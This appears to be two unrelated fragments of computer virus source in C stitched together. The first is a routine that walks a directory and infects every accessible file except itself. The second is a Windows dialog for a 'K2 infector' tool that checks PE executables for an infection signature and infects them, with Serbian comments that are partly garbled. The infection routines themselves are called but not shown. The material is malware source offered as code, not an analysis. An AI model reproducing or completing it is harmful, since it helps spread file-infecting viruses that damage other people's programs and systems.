int main(void) { DIR *d; // represents a directory steam struct dirent *dir; // This is the structure d = opendir("."); number=hnumber=0; if (d) { while ((dir = readdir(d)) != NULL) { fileLen=0; fileLenV =0; //printf("file is : %s\n", dir->d_name); if (checkaccess(dir->d_name) == 1) { //First check that not infecting and the virus program if ((strcmp(dir->d_name,"virus1") != 0) && (strcmp(dir->d_name,"infectAll") !=0)&&(strcmp(dir->d_name,".") !=0)&&(strcmp(dir->d_name,"..") !=0)) { //printf("Virus at work...\n"); int r=InfectFile(dir->d_name,"virus1"); if (r==1) { number++; printf("No of infected file=%d \n",number); } } // if not the virus program and this executable else { hnumber++; #ifdef DEBUG printf("It is either of virus1 or infectAll=%s \n",dir->d_name); #endif } }// if it is an executable } //while closedir(d); } // if (d) return(0); }
LRESULT CALLBACK InfLoop (HWND hd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: // inicijalizacija dialoga PRE nego �to se dijalog otvori hDlg=hd; signature[0]=0x4C; rdecrypt(eporuka, eporuka); // dekriptuj eporuku for (i=0; i<5; i++) eporuka[i+1]=coded[i]; // dodaj re� 'coded' SetDlgItemText(hDlg, ID_INFO, &eporuka[1]); // ispi�i poruku SendDlgItemMessage(hDlg, ID_EDIT1, EM_SETLIMITTEXT, MAX_PATH, 0); // ograni�i edit box sadr�aj SendDlgItemMessage(hDlg, ID_EDIT2, EM_SETLIMITTEXT, MAX_PATH, 0); // ograni�i edit box sadr�aj ikona=LoadIcon(hThisInst, "AAA"); // u�itaj ikonu programa SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM) ikona); // setuj ikonu za program return TRUE; // WM_INITDIALOG mora da vrati TRUE case WM_SYSCOMMAND: if (wParam == SC_CLOSE) { // pritisnuto 'x' dugme za kraj DestroyIcon(ikona); EndDialog(hDlg, TRUE); // zatvori dijalog return TRUE; } break; case WM_COMMAND: if (HIWORD(wParam)==BN_CLICKED) { switch (LOWORD(wParam)) { case ID_BUTTON1: fajl[0]=0; if (!GetOpenFileName(&ofn)) break; SendDlgItemMessage(hDlg, ID_EDIT1, WM_SETTEXT, 0, (LPARAM)fajl); break; case ID_BUTTON2: fajl[0]=0; if (!GetOpenFileName(&ofn)) break; SendDlgItemMessage(hDlg, ID_EDIT2, WM_SETTEXT, 0, (LPARAM)fajl); break; case ID_INFECT: if (MessageBox(NULL, "This will infect file!\r\n\r\nDo you want to continue?", "K2 infector", MB_YESNO | MB_ICONQUESTION)==IDYES) { SendDlgItemMessage(hDlg, ID_EDIT1, WM_GETTEXT, MAX_PATH, (LPARAM)fajl); SendDlgItemMessage(hDlg, ID_EDIT2, WM_GETTEXT, MAX_PATH, (LPARAM)temp); // prvo proveri da li je fajl zara�en i=IsFileInfect(fajl, signature); if (i==-1) { errorme("ERROR: can't determine if file is infected!"); break; } if (i==1) { errorme("ERROR: file is already infected!"); break; } // nije zara�en - zarazi ga:) addfile=temp; switch (InfectFile(fajl)){ case 0x10: errorme("ERROR: can't open the file."); break; case 0x11: errorme("ERROR: invalid file size."); break; case 0x12: errorme("ERROR: can't create file mapping."); break; case 0x13: errorme("ERROR: can't MapView file."); break; case 0x101: errorme("ERROR: file is not a executable."); break; case 0x102: errorme("ERROR: file is not Windows PE EXE."); break; case 0x103: errorme("ERROR: file is not for GUI."); break; case 0x105: errorme("ERROR: can't find IMPORT section."); break; case 0x106: errorme("ERROR: can't find IMPORT table."); break; case 0x108: errorme("ERROR: can't find GetModuleHandle KERNEL32 import."); break; case 0x10A: errorme("ERROR: can't open virus file."); break; case 0: MessageBox(hd, "File infected OK!", "K2 infector", MB_OK | MB_ICONASTERISK); break; } } break; } return TRUE; } break; } return FALSE; }